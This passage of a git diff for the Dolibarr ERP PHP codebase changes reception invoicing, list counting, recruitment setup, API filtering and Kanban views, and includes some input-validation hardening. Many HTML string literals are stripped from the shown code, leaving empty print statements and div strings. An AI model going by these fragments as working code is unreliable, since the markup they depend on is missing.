b/htdocs/reception/document.php @@ -41,7 +41,7 @@ require_once DOL_DOCUMENT_ROOT.'/fourn/class/fournisseur.commande.class.php'; require_once DOL_DOCUMENT_ROOT.'/fourn/class/fournisseur.commande.dispatch.class.php'; // Load translation files required by the page -$langs->loadLangs(array('companies', 'other')); +$langs->loadLangs(array('receptions', 'companies', 'other')); $action = GETPOST('action', 'aZ09'); $confirm = GETPOST('confirm'); @@ -163,7 +163,7 @@ if ($id > 0 || !empty($ref)) { if ($action != 'classify' && $permissiontoadd) { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, (empty($conf->global->PROJECT_CAN_ALWAYS_LINK_TO_ALL_SUPPLIERS) ? $object->socid : -1), $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, (empty($conf->global->PROJECT_CAN_ALWAYS_LINK_TO_ALL_SUPPLIERS) ? $object->socid : -1), $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($objectsrc) && !empty($objectsrc->fk_project)) { $proj = new Project($db); diff --git a/htdocs/reception/list.php b/htdocs/reception/list.php index 58df4aaaa70..8653953371a 100644 --- a/htdocs/reception/list.php +++ b/htdocs/reception/list.php @@ -252,15 +252,98 @@ if (empty($reshook)) { } } } else { + $cond_reglement_id = 0; + $mode_reglement_id = 0; + $fk_account = 0; + $remise_percent = 0; + $remise_absolue = 0; + $transport_mode_id = 0; + if (!empty($rcp->cond_reglement_id)) { + $cond_reglement_id = $rcp->cond_reglement_id; + } + if (!empty($rcp->mode_reglement_id)) { + $mode_reglement_id = $rcp->mode_reglement_id; + } + if (!empty($rcp->fk_account)) { + $fk_account = $rcp->fk_account; + } + if (!empty($rcp->remise_percent)) { + $remise_percent = $rcp->remise_percent; + } + if (!empty($rcp->remise_absolue)) { + $remise_absolue = $rcp->remise_absolue; + } + if (!empty($rcp->transport_mode_id)) { + $transport_mode_id = $rcp->transport_mode_id; + } + + if (empty($cond_reglement_id) + || empty($mode_reglement_id) + || empty($fk_account) + || empty($remise_percent) + || empty($remise_absolue) + || empty($transport_mode_id) + ) { + if (!isset($rcp->supplier_order)) { + $rcp->fetch_origin(); + } + + // try to get from source of reception (supplier order) + if (!empty($rcp->commandeFournisseur)) { + $supplierOrder = $rcp->commandeFournisseur; + if (empty($cond_reglement_id) && !empty($supplierOrder->cond_reglement_id)) { + $cond_reglement_id = $supplierOrder->cond_reglement_id; + } + if (empty($mode_reglement_id) && !empty($supplierOrder->mode_reglement_id)) { + $mode_reglement_id = $supplierOrder->mode_reglement_id; + } + if (empty($fk_account) && !empty($supplierOrder->fk_account)) { + $fk_account = $supplierOrder->fk_account; + } + if (empty($remise_percent) && !empty($supplierOrder->remise_percent)) { + $remise_percent = $supplierOrder->remise_percent; + } + if (empty($remise_absolue) && !empty($supplierOrder->remise_absolue)) { + $remise_absolue = $supplierOrder->remise_absolue; + } + if (empty($transport_mode_id) && !empty($supplierOrder->transport_mode_id)) { + $transport_mode_id = $supplierOrder->transport_mode_id; + } + } + + // try get from third-party of reception + if (!empty($rcp->thirdparty)) { + $soc = $rcp->thirdparty; + if (empty($cond_reglement_id) && !empty($soc->cond_reglement_supplier_id)) { + $cond_reglement_id = $soc->cond_reglement_supplier_id; + } + if (empty($mode_reglement_id) && !empty($soc->mode_reglement_supplier_id)) { + $mode_reglement_id = $soc->mode_reglement_supplier_id; + } + if (empty($fk_account) && !empty($soc->fk_account)) { + $fk_account = $soc->fk_account; + } + if (empty($remise_percent) && !empty($soc->remise_supplier_percent)) { + $remise_percent = $soc->remise_supplier_percent; + } + if (empty($remise_absolue) && !empty($soc->remise_absolue)) { + $remise_absolue = $soc->remise_absolue; + } + if (empty($transport_mode_id) && !empty($soc->transport_mode_id)) { + $transport_mode_id = $soc->transport_mode_id; + } + } + } + // If we want one invoice per reception or if there is no first invoice yet for this thirdparty. $objecttmp->socid = $rcp->socid; $objecttmp->type = $objecttmp::TYPE_STANDARD; - $objecttmp->cond_reglement_id = $rcp->cond_reglement_id || $rcp->thirdparty->cond_reglement_supplier_id; - $objecttmp->mode_reglement_id = $rcp->mode_reglement_id || $rcp->thirdparty->mode_reglement_supplier_id; - - $objecttmp->fk_account = !empty($rcp->thirdparty->fk_account) ? $rcp->thirdparty->fk_account : 0; - $objecttmp->remise_percent = !empty($rcp->thirdparty->remise_percent) ? $rcp->thirdparty->remise_percent : 0; - $objecttmp->remise_absolue = !empty($rcp->thirdparty->remise_absolue) ? $rcp->thirdparty->remise_absolue : 0; + $objecttmp->cond_reglement_id = $cond_reglement_id; + $objecttmp->mode_reglement_id = $mode_reglement_id; + $objecttmp->fk_account = $fk_account; + $objecttmp->remise_percent = $remise_percent; + $objecttmp->remise_absolue = $remise_absolue; + $objecttmp->transport_mode_id = $transport_mode_id; $objecttmp->fk_project = $rcp->fk_project; //$objecttmp->multicurrency_code = $rcp->multicurrency_code; @@ -280,6 +363,11 @@ if (empty($reshook)) { $objecttmp->origin = 'reception'; $objecttmp->origin_id = $id_reception; + // Auto calculation of date due if not filled by user + if (empty($objecttmp->date_echeance)) { + $objecttmp->date_echeance = $objecttmp->calculate_date_lim_reglement(); + } + $objecttmp->array_options = $rcp->array_options; // Copy extrafields // Set $objecttmp->linked_objects with all links order_supplier existing on reception, so same links will be added to the generated supplier invoice @@ -531,6 +619,9 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."reception as e"; if (!empty($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.$object->table_element."_extrafields as ef on (e.rowid = ef.fk_object)"; @@ -614,12 +705,29 @@ $sql .= $hookmanager->resPrint; $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $result = $db->query($sql); - $nbtotalofrecords = $db->num_rows($result); + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 + $page = 0; + $offset = 0; + } + $db->free($resql); } +// Complete request and execute it with limit $sql .= $db->order($sortfield, $sortorder); -$sql .= $db->plimit($limit + 1, $offset); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); +} //print $sql; $resql = $db->query($sql); @@ -907,7 +1015,7 @@ if (!empty($arrayfields['e.date_delivery']['checked'])) { if (!empty($arrayfields['l.ref']['checked'])) { // Delivery ref print ''; - print ''; } if (!empty($arrayfields['l.date_delivery']['checked'])) { @@ -939,8 +1047,8 @@ if (!empty($arrayfields['e.tms']['checked'])) { } // Status if (!empty($arrayfields['e.fk_statut']['checked'])) { - print ''; - print $form->selectarray('search_status', array('0'=>$langs->trans('StatusReceptionDraftShort'), '1'=>$langs->trans('StatusReceptionValidatedShort'), '2'=>$langs->trans('StatusReceptionProcessedShort')), $search_status, 1); + print ''; + print $form->selectarray('search_status', array('0'=>$langs->trans('StatusReceptionDraftShort'), '1'=>$langs->trans('StatusReceptionValidatedShort'), '2'=>$langs->trans('StatusReceptionProcessedShort')), $search_status, 1, 0, 0, '', 0, 0, 0, '', 'search_status width100 onrightofpage'); print ''; - if (count($typenArray) == 0) { + if (!isset($typenArray) || empty($typenArray)) { $typenArray = $formcompany->typent_array(1); } - print $typenArray[$obj->typent_code]; + if (isset($typenArray[$obj->typent_code])) { + print $typenArray[$obj->typent_code]; + } print '
      '; print '
      '; -print '
      '; +print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/reception/stats/month.php b/htdocs/reception/stats/month.php index 019cafce8c6..0b371ecd1f5 100644 --- a/htdocs/reception/stats/month.php +++ b/htdocs/reception/stats/month.php @@ -29,6 +29,8 @@ require_once DOL_DOCUMENT_ROOT.'/reception/class/receptionstats.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/dolgraph.class.php'; $year = GETPOST("year", 'int'); +$socid = GETPOST("socid", 'int'); +$userid = GETPOST("userid", 'int'); // Security check if ($user->socid) { @@ -49,9 +51,8 @@ $HEIGHT = DolGraph::getDefaultGraphSizeForStats('height'); $mesg = ''; print load_fiche_titre($langs->trans("StatisticsOfReceptions").' '.GETPOST("year", 'int'), $mesg); - -$stats = new ReceptionStats($db); -$data = $stats->getNbReceptionByMonth(GETPOST("year", 'int')); +$stats = new ReceptionStats($db, $socid, '', ($userid > 0 ? $userid : 0)); +$data = $stats->getNbByMonth($year); dol_mkdir($conf->reception->dir_temp); diff --git a/htdocs/reception/tpl/linkedobjectblock.tpl.php b/htdocs/reception/tpl/linkedobjectblock.tpl.php index 009534b91b5..341e30e3784 100644 --- a/htdocs/reception/tpl/linkedobjectblock.tpl.php +++ b/htdocs/reception/tpl/linkedobjectblock.tpl.php @@ -50,12 +50,12 @@ foreach ($linkedObjectBlock as $key => $objectlink) { } ?> - trans("Reception"); ?> + trans("Reception"); ?> global->MAIN_ENABLE_IMPORT_LINKED_OBJECT_LINES) { print ' - getNomUrl(1); ?> + getNomUrl(1); ?> ref_supplier); ?> date_delivery, 'day'); ?> - * Copyright (C) 2020 Adminson Alicealalalamdskfldmjgdfgdfhfghgfh +/* Copyright (C) 2004-2020 Laurent Destailleur * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -88,16 +87,14 @@ $setupnotempty = 0; * Actions */ -if ((float) DOL_VERSION >= 6) { - include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; -} +include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'updateMask') { - $maskconstjob = GETPOST('maskconstjob', 'alpha'); - $maskjob = GETPOST('maskjob', 'alpha'); + $maskconst = GETPOST('maskconstjob', 'alpha'); + $maskvalue = GETPOST('maskjob', 'alpha'); - if ($maskconstjob) { - $res = dolibarr_set_const($db, $maskconstjob, $maskjob, 'chaine', 0, '', $conf->entity); + if ($maskconst && preg_match('/_MASK$/', $maskconst)) { + $res = dolibarr_set_const($db, $maskconst, $maskvalue, 'chaine', 0, '', $conf->entity); } if (!($res > 0)) { diff --git a/htdocs/recruitment/admin/setup_candidatures.php b/htdocs/recruitment/admin/setup_candidatures.php index adc12a656f4..1da5d698645 100644 --- a/htdocs/recruitment/admin/setup_candidatures.php +++ b/htdocs/recruitment/admin/setup_candidatures.php @@ -1,6 +1,5 @@ - * Copyright (C) 2020 Adminson Alicealalalamdskfldmjgdfgdfhfghgfh +/* Copyright (C) 2004-2020 Laurent Destailleur * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -88,16 +87,14 @@ $setupnotempty = 0; * Actions */ -if ((float) DOL_VERSION >= 6) { - include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; -} +include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'updateMask') { - $maskconstcand = GETPOST('maskconstcand', 'alpha'); - $maskcand = GETPOST('maskcand', 'alpha'); + $maskconst = GETPOST('maskconstcand', 'aZ09'); + $maskvalue = GETPOST('maskcand', 'alpha'); - if ($maskconstcand) { - $res = dolibarr_set_const($db, $maskconstcand, $maskcand, 'chaine', 0, '', $conf->entity); + if ($maskconst && preg_match('/_MASK$/', $maskconst)) { + $res = dolibarr_set_const($db, $maskconst, $maskvalue, 'chaine', 0, '', $conf->entity); } if (!($res > 0)) { diff --git a/htdocs/recruitment/class/api_recruitment.class.php b/htdocs/recruitment/class/api_recruitment.class.php index af2c87dcdb3..b665bda1279 100644 --- a/htdocs/recruitment/class/api_recruitment.class.php +++ b/htdocs/recruitment/class/api_recruitment.class.php @@ -66,8 +66,8 @@ class Recruitment extends DolibarrApi * * Return an array with jobposition informations * - * @param int $id ID of jobposition - * @return array|mixed data without useless information + * @param int $id ID of jobposition + * @return Object Object with cleaned properties * * @url GET jobposition/{id} * @@ -97,8 +97,8 @@ class Recruitment extends DolibarrApi * * Return an array with candidature informations * - * @param int $id ID of candidature - * @return array|mixed data without useless information + * @param int $id ID of candidature + * @return Object Object with cleaned properties * * @url GET candidature/{id} * @@ -194,11 +194,10 @@ class Recruitment extends DolibarrApi } if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { - throw new RestException(503, 'Error when validating parameter sqlfilters -> '.$errormessage); + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { + throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= $this->db->order($sortfield, $sortorder); @@ -302,11 +301,10 @@ class Recruitment extends DolibarrApi } if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { - throw new RestException(503, 'Error when validating parameter sqlfilters -> '.$errormessage); + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { + throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= $this->db->order($sortfield, $sortorder); @@ -407,9 +405,9 @@ class Recruitment extends DolibarrApi /** * Update jobposition * - * @param int $id Id of jobposition to update - * @param array $request_data Datas - * @return int + * @param int $id Id of jobposition to update + * @param array $request_data Datas + * @return Object Object with cleaned properties * * @throws RestException * @@ -441,7 +439,7 @@ class Recruitment extends DolibarrApi // $this->jobposition->abc = sanitizeVal($this->jobposition->abc, 'alphanohtml'); if ($this->jobposition->update(DolibarrApiAccess::$user, false) > 0) { - return $this->get($id); + return $this->getJobPosition($id); } else { throw new RestException(500, $this->jobposition->error); } @@ -450,9 +448,9 @@ class Recruitment extends DolibarrApi /** * Update candidature * - * @param int $id Id of candidature to update - * @param array $request_data Datas - * @return int + * @param int $id Id of candidature to update + * @param array $request_data Datas + * @return Object Object with cleaned properties * * @throws RestException * @@ -484,7 +482,7 @@ class Recruitment extends DolibarrApi // $this->jobposition->abc = sanitizeVal($this->jobposition->abc, 'alphanohtml'); if ($this->candidature->update(DolibarrApiAccess::$user, false) > 0) { - return $this->get($id); + return $this->getCandidature($id); } else { throw new RestException(500, $this->candidature->error); } diff --git a/htdocs/recruitment/class/recruitmentcandidature.class.php b/htdocs/recruitment/class/recruitmentcandidature.class.php index 2ece5dbe217..9d75781056a 100644 --- a/htdocs/recruitment/class/recruitmentcandidature.class.php +++ b/htdocs/recruitment/class/recruitmentcandidature.class.php @@ -129,6 +129,7 @@ class RecruitmentCandidature extends CommonObject 'description' => array('type'=>'html', 'label'=>'Description', 'enabled'=>'1', 'position'=>300, 'notnull'=>0, 'visible'=>3, 'cssview'=>'wordbreak'), 'date_creation' => array('type'=>'datetime', 'label'=>'DateCreation', 'enabled'=>'1', 'position'=>500, 'notnull'=>1, 'visible'=>-4, 'csslist'=>'nowraponall'), 'tms' => array('type'=>'timestamp', 'label'=>'DateModification', 'enabled'=>'1', 'position'=>501, 'notnull'=>0, 'visible'=>-2, 'csslist'=>'nowraponall'), + 'fk_user' => array('type'=>'integer:User:user/class/user.class.php', 'label'=>'LinkedToDolibarrUser', 'enabled'=>'1', 'position'=>600, 'notnull'=>0, 'visible'=>-1, 'csslist'=>'tdoverflowmax100'), 'import_key' => array('type'=>'varchar(14)', 'label'=>'ImportId', 'enabled'=>'1', 'position'=>1000, 'notnull'=>-1, 'visible'=>-2,), 'model_pdf' => array('type'=>'varchar(255)', 'label'=>'Model pdf', 'enabled'=>'1', 'position'=>1010, 'notnull'=>-1, 'visible'=>0,), 'status' => array('type'=>'smallint', 'label'=>'Status', 'enabled'=>'1', 'position'=>1000, 'notnull'=>1, 'visible'=>1, 'index'=>1, 'default'=>0, 'arrayofkeyval'=>array('0'=>'Draft', '1'=>'Received', '3'=>'ContractProposed', '5'=>'ContractSigned', '8'=>'Refused', '9'=>'Canceled')), @@ -144,6 +145,7 @@ class RecruitmentCandidature extends CommonObject public $tms; public $fk_user_creat; public $fk_user_modif; + public $fk_user; public $lastname; public $firstname; public $email; @@ -374,7 +376,7 @@ class RecruitmentCandidature extends CommonObject $sql .= $this->getFieldList(); $sql .= ' FROM '.MAIN_DB_PREFIX.$this->table_element.' as t'; if (isset($this->ismultientitymanaged) && $this->ismultientitymanaged == 1) { - $sql .= ' WHERE t.entity IN ('.getEntity($this->table_element).')'; + $sql .= ' WHERE t.entity IN ('.getEntity($this->element).')'; } else { $sql .= ' WHERE 1 = 1'; } @@ -894,8 +896,8 @@ class RecruitmentCandidature extends CommonObject $result = $objectline->fetchAll('ASC', 'position', 0, 0, array('customsql'=>'fk_recruitmentcandidature = '.((int) $this->id))); if (is_numeric($result)) { - $this->error = $this->error; - $this->errors = $this->errors; + $this->error = $objectline->error; + $this->errors = $objectline->errors; return $result; } else { $this->lines = $result; @@ -1024,6 +1026,42 @@ class RecruitmentCandidature extends CommonObject return $error; } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $langs; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl(1) : $this->ref).''; + $return .= ''; + if (property_exists($this, 'fk_recruitmentjobposition')) { + $return .= '
      '.$langs->trans('Job').' : '.$this->fk_recruitmentjobposition.''; + } + if (property_exists($this, 'phone')) { + $return .= '
      '.$langs->trans("phone").' : '.$this->phone.''; + } + if (method_exists($this, 'getLibStatut')) { + $return .= '
      '.$this->getLibStatut(3).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } diff --git a/htdocs/recruitment/class/recruitmentjobposition.class.php b/htdocs/recruitment/class/recruitmentjobposition.class.php index dda796c243e..d44294ac9bd 100644 --- a/htdocs/recruitment/class/recruitmentjobposition.class.php +++ b/htdocs/recruitment/class/recruitmentjobposition.class.php @@ -1,5 +1,6 @@ +/* Copyright (C) 2020 Laurent Destailleur +/* Copyright (C) 2022 Alexandre Spangaro * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -62,10 +63,24 @@ class RecruitmentJobPosition extends CommonObject */ public $picto = 'recruitmentjobposition'; - + /** + * Draft status + */ const STATUS_DRAFT = 0; + + /** + * Validated + */ const STATUS_VALIDATED = 1; + + /** + * Recruited + */ const STATUS_RECRUITED = 3; + + /** + * Canceled + */ const STATUS_CANCELED = 9; @@ -105,11 +120,11 @@ class RecruitmentJobPosition extends CommonObject 'label' => array('type'=>'varchar(255)', 'label'=>'JobLabel', 'enabled'=>'1', 'position'=>30, 'notnull'=>1, 'visible'=>1, 'searchall'=>1, 'css'=>'minwidth500', 'csslist'=>'tdoverflowmax300', 'showoncombobox'=>'2', 'autofocusoncreate'=>1), 'qty' => array('type'=>'integer', 'label'=>'NbOfEmployeesExpected', 'enabled'=>'1', 'position'=>45, 'notnull'=>1, 'visible'=>1, 'default'=>'1', 'isameasure'=>'1', 'css'=>'maxwidth75imp'), 'fk_project' => array('type'=>'integer:Project:projet/class/project.class.php:1', 'label'=>'Project', 'enabled'=>'$conf->project->enabled', 'position'=>52, 'notnull'=>-1, 'visible'=>-1, 'index'=>1, 'css'=>'maxwidth500', 'picto'=>'project'), - 'fk_user_recruiter' => array('type'=>'integer:User:user/class/user.class.php:status=1', 'label'=>'ResponsibleOfRecruitement', 'enabled'=>'1', 'position'=>54, 'notnull'=>1, 'visible'=>1, 'foreignkey'=>'user.rowid', 'css'=>'maxwidth500', 'csslist'=>'tdoverflowmax150', 'picto'=>'user'), + 'fk_user_recruiter' => array('type'=>'integer:User:user/class/user.class.php:1:(statut:=:1)', 'label'=>'ResponsibleOfRecruitement', 'enabled'=>'1', 'position'=>54, 'notnull'=>1, 'visible'=>1, 'foreignkey'=>'user.rowid', 'css'=>'maxwidth500', 'csslist'=>'tdoverflowmax150', 'picto'=>'user'), 'email_recruiter' => array('type'=>'varchar(255)', 'label'=>'EmailRecruiter', 'enabled'=>'1', 'position'=>54, 'notnull'=>0, 'visible'=>-1, 'help'=>'ToUseAGenericEmail', 'picto'=>'email'), - 'fk_user_supervisor' => array('type'=>'integer:User:user/class/user.class.php:t.statut = 1', 'label'=>'FutureManager', 'enabled'=>'1', 'position'=>55, 'notnull'=>0, 'visible'=>-1, 'foreignkey'=>'user.rowid', 'css'=>'maxwidth500', 'csslist'=>'tdoverflowmax150', 'picto'=>'user'), + 'fk_user_supervisor' => array('type'=>'integer:User:user/class/user.class.php:1:(statut:=:1)', 'label'=>'FutureManager', 'enabled'=>'1', 'position'=>55, 'notnull'=>0, 'visible'=>-1, 'foreignkey'=>'user.rowid', 'css'=>'maxwidth500', 'csslist'=>'tdoverflowmax150', 'picto'=>'user'), 'fk_establishment' => array('type'=>'integer:Establishment:hrm/class/establishment.class.php', 'label'=>'Establishment', 'enabled'=>'$conf->hrm->enabled', 'position'=>56, 'notnull'=>0, 'visible'=>-1, 'foreignkey'=>'establishment.rowid',), - 'fk_soc' => array('type'=>'integer:Societe:societe/class/societe.class.php:1:status=1 AND entity IN (__SHARED_ENTITIES__)', 'label'=>'WorkPlace', 'enabled'=>'$conf->societe->enabled', 'position'=>57, 'notnull'=>-1, 'visible'=>-1, 'css'=>'maxwidth500', 'index'=>1, 'help'=>"IfJobIsLocatedAtAPartner", 'picto'=>'company'), + 'fk_soc' => array('type'=>'integer:Societe:societe/class/societe.class.php:1:((status:=:1) AND (entity:IN:__SHARED_ENTITIES__))', 'label'=>'WorkPlace', 'enabled'=>'isModEnabled("societe")', 'position'=>57, 'notnull'=>-1, 'visible'=>-1, 'css'=>'maxwidth500', 'index'=>1, 'help'=>"IfJobIsLocatedAtAPartner", 'picto'=>'company'), 'date_planned' => array('type'=>'date', 'label'=>'DateExpected', 'enabled'=>'1', 'position'=>60, 'notnull'=>0, 'visible'=>1,), 'remuneration_suggested' => array('type'=>'varchar(255)', 'label'=>'Remuneration', 'enabled'=>'1', 'position'=>62, 'notnull'=>0, 'visible'=>1,), 'description' => array('type'=>'html', 'label'=>'Description', 'enabled'=>'1', 'position'=>65, 'notnull'=>0, 'visible'=>3,), @@ -366,8 +381,6 @@ class RecruitmentJobPosition extends CommonObject */ public function fetchAll($sortorder = '', $sortfield = '', $limit = 0, $offset = 0, array $filter = array(), $filtermode = 'AND') { - global $conf; - dol_syslog(__METHOD__, LOG_DEBUG); $records = array(); @@ -376,7 +389,7 @@ class RecruitmentJobPosition extends CommonObject $sql .= $this->getFieldList(); $sql .= ' FROM '.MAIN_DB_PREFIX.$this->table_element.' as t'; if (isset($this->ismultientitymanaged) && $this->ismultientitymanaged == 1) { - $sql .= ' WHERE t.entity IN ('.getEntity($this->table_element).')'; + $sql .= ' WHERE t.entity IN ('.getEntity($this->element).')'; } else { $sql .= ' WHERE 1 = 1'; } @@ -486,7 +499,7 @@ class RecruitmentJobPosition extends CommonObject */ public function validate($user, $notrigger = 0) { - global $conf, $langs; + global $conf; require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; @@ -651,7 +664,7 @@ class RecruitmentJobPosition extends CommonObject } /** - * Close the commercial proposal + * Close the recruitment * * @param User $user Object user that close * @param int $status Statut @@ -683,12 +696,6 @@ class RecruitmentJobPosition extends CommonObject if ($status == self::STATUS_RECRUITED) { $triggerName = 'RECRUITMENTJOB_CLOSE_RECRUITED'; $modelpdf = $this->model_pdf; - - if ($result < 0) { - $this->error = $this->db->lasterror(); - $this->db->rollback(); - return -2; - } } if (empty($conf->global->MAIN_DISABLE_PDF_AUTOUPDATE)) { @@ -1078,7 +1085,7 @@ class RecruitmentJobPosition extends CommonObject */ public function doScheduledJob() { - global $conf, $langs; + //global $conf, $langs; //$conf->global->SYSLOG_FILE = 'DOL_DATA_ROOT/dolibarr_mydedicatedlofile.log'; @@ -1098,4 +1105,44 @@ class RecruitmentJobPosition extends CommonObject return $error; } + + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $langs, $obj; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl(1) : $this->ref).''; + $return .= ''; + if (property_exists($this, 'date_planned')) { + $return .= '
      '.$langs->trans("Date").' : '.dol_print_date($this->db->jdate($this->date_planned), 'day').''; + } + if (property_exists($this, 'qty')) { + $return .= '
      '.$langs->trans("NbOfEmployeesExpected", '', '', '', '', 2).' : '.$this->qty.''; + } + if (property_exists($this, 'remuneration_suggested')) { + $return .= ' | '.$langs->trans("Remuneration").' : '.$this->remuneration_suggested.''; + } + if (method_exists($this, 'getLibStatut')) { + $return .= '
      '.$this->getLibStatut(3).' | '.$langs->trans("RecruitmentCandidatures", '', '', '', '', 5).' : '.$obj->nbapplications.'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } diff --git a/htdocs/recruitment/core/modules/recruitment/doc/doc_generic_recruitmentjobposition_odt.modules.php b/htdocs/recruitment/core/modules/recruitment/doc/doc_generic_recruitmentjobposition_odt.modules.php index c86713ffb93..1837d9a6839 100644 --- a/htdocs/recruitment/core/modules/recruitment/doc/doc_generic_recruitmentjobposition_odt.modules.php +++ b/htdocs/recruitment/core/modules/recruitment/doc/doc_generic_recruitmentjobposition_odt.modules.php @@ -28,6 +28,7 @@ */ require_once DOL_DOCUMENT_ROOT.'/recruitment/core/modules/recruitment/modules_recruitmentjobposition.php'; +require_once DOL_DOCUMENT_ROOT.'/recruitment/class/recruitmentjobposition.class.php'; require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; @@ -212,6 +213,7 @@ class doc_generic_recruitmentjobposition_odt extends ModelePDFRecruitmentJobPosi { // phpcs:enable global $user, $langs, $conf, $mysoc, $hookmanager; + global $action; if (empty($srctemplatepath)) { dol_syslog("doc_generic_odt::write_file parameter srctemplatepath empty", LOG_WARNING); @@ -219,12 +221,7 @@ class doc_generic_recruitmentjobposition_odt extends ModelePDFRecruitmentJobPosi } // Add odtgeneration hook - if (!is_object($hookmanager)) { - include_once DOL_DOCUMENT_ROOT.'/core/class/hookmanager.class.php'; - $hookmanager = new HookManager($this->db); - } $hookmanager->initHooks(array('odtgeneration')); - global $action; if (!is_object($outputlangs)) { $outputlangs = $langs; @@ -238,7 +235,7 @@ class doc_generic_recruitmentjobposition_odt extends ModelePDFRecruitmentJobPosi // If $object is id instead of object if (!is_object($object)) { $id = $object; - $object = new Commande($this->db); + $object = new RecruitmentJobPosition($this->db); $result = $object->fetch($id); if ($result < 0) { dol_print_error($this->db, $object->error); @@ -263,7 +260,7 @@ class doc_generic_recruitmentjobposition_odt extends ModelePDFRecruitmentJobPosi if (file_exists($dir)) { //print "srctemplatepath=".$srctemplatepath; // Src filename $newfile = basename($srctemplatepath); - $newfiletmp = preg_replace('/\.od(t|s)/i', '', $newfile); + $newfiletmp = preg_replace('/\.od[ts]/i', '', $newfile); $newfiletmp = preg_replace('/template_/i', '', $newfiletmp); $newfiletmp = preg_replace('/modele_/i', '', $newfiletmp); $newfiletmp = $objectref.'_'.$newfiletmp; @@ -286,7 +283,11 @@ class doc_generic_recruitmentjobposition_odt extends ModelePDFRecruitmentJobPosi //print "conf->societe->dir_temp=".$conf->societe->dir_temp; dol_mkdir($conf->recruitment->dir_temp); - + if (!is_writable($conf->recruitment->dir_temp)) { + $this->error = $langs->transnoentities("ErrorFailedToWriteInTempDirectory", $conf->recruitment->dir_temp); + dol_syslog('Error in write_file: ' . $this->error, LOG_ERR); + return -1; + } // If CUSTOMER contact defined on order, we use it $usecontact = false; @@ -339,7 +340,7 @@ class doc_generic_recruitmentjobposition_odt extends ModelePDFRecruitmentJobPosi $odfHandler = new odf( $srctemplatepath, array( - 'PATH_TO_TMP' => $conf->commande->dir_temp, + 'PATH_TO_TMP' => 